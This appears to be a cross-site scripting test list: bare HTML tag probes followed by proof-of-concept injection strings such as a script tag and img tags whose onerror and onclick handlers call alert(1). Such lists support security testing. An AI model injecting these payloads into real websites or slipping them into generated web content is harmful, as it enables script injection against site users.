Cross Site Scripting (XSS)

<h1>
<b>
<a>
<form>
<img>
<h1></h1>
<b></b>
<a></a>
<form></form>
<img/><img>
<h1>test</h1>
<b>test</b>
<a href="#">test</a>
<script>alert(1)</script>
<img src="0" onclick="alert(1)"/>
<img src="0" onerror="alert(1)"/>
<img src='0' onclick='alert(1)'/>
<img src='0' onerror='alert(1)'/>
<img src=0 onclick=alert(1)/>
<img src=0 onerror=alert(1)/>